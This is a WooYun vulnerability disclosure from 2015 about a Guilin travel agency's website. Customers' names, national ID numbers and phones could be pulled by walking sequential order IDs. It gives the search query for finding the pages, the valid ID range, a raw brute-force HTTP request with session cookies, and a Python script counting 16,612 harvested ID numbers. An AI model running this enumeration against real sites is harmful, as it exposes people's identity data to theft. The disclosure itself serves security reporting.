桂林市南北假日国际旅游有限责任公司泄漏几十万用户信息（姓名，身份证，手机） | wooyun-2015-0126381

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0126381

漏洞标题：

桂林市南北假日国际旅游有限责任公司泄漏几十万用户信息（姓名，身份证，手机）

漏洞详情

披露状态：

2015-07-13：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-27：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

桂林市南北假日国际旅游有限责任公司泄漏几十万用户信息（姓名，身份证，手机）

详细说明：

1.百度得到url
https://www.baidu.com/s?ie=UTF-8&wd=inurl%3Ahttp%3A//www.happytoo.cn/seller.line.confirm.html%3Foid=
http://www.happytoo.cn/seller.line.confirm.html?oid=549821&mid=148885&cid=19679

2.参数组成分析
http://www.happytoo.cn/seller.line.confirm.html?oid=549445&mid=148885&cid=19679
oid订单号
mid不明
cid不明
oid范围从12035到688979，中间少部分无效，可以爆破的数据应该很大..由于是团队旅游，这个范围数据量应该有几十万..
http://www.happytoo.cn/seller.line.confirm.html?oid=12035&mid=148885&cid=19679
...
http://www.happytoo.cn/seller.line.confirm.html?oid=688979&mid=148885&cid=19679
以&mid=148885&cid=19679固定值进行爆破54XXXX中的0001-9999共5000组数据（经测试在这个范围oid是奇数才有效），保存进行文件处理，统计得到有效的姓名-身份证号16612个，部分还有手机号。

GET /seller.line.confirm.html?oid=54§9445§&mid=148885&cid=19679 HTTP/1.1
Host: www.happytoo.cn
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: www_happytoo_cn_web_siteid=6980bc28bb720960eadbecacb089c63dbcc04b5c%7E219; ltoken=2120f3e9c45e109d149093047466b030a8b61fe8%7E1436731333

统计代码如下，对比有效和无效页面，得到特征进行过滤，只统计包含有效身份证号的

#! /usr/bin/env python
#coding=gbk
import os
#客人名单的开始和结束
begin='<td colspan="5" style="padding:3pt 5pt; width:400pt; font-size:9pt;border-bottom:none!important;">'
end='</td>'
count=0
for i in open(r'e:\asfaf').read().split(begin):
    j=i.split(end)[0] #取到含0-多个客人名单的区段
    if '(' in j and ')' in j:#身份证段一定有（）
        for k in j.split('\n'):#身份证段一定有-和()，有效的身份证中括号内为18位
            if '(' in k and ')' in k and len(k[k.find('(')+1:k.find(')')])==18 and '-' in k:
                count+=1
                print k
print count

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 prolog@乌云

漏洞回应

厂商回应：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 prolog@乌云

漏洞回应

厂商回应：

漏洞概要关注数(24) 关注此漏洞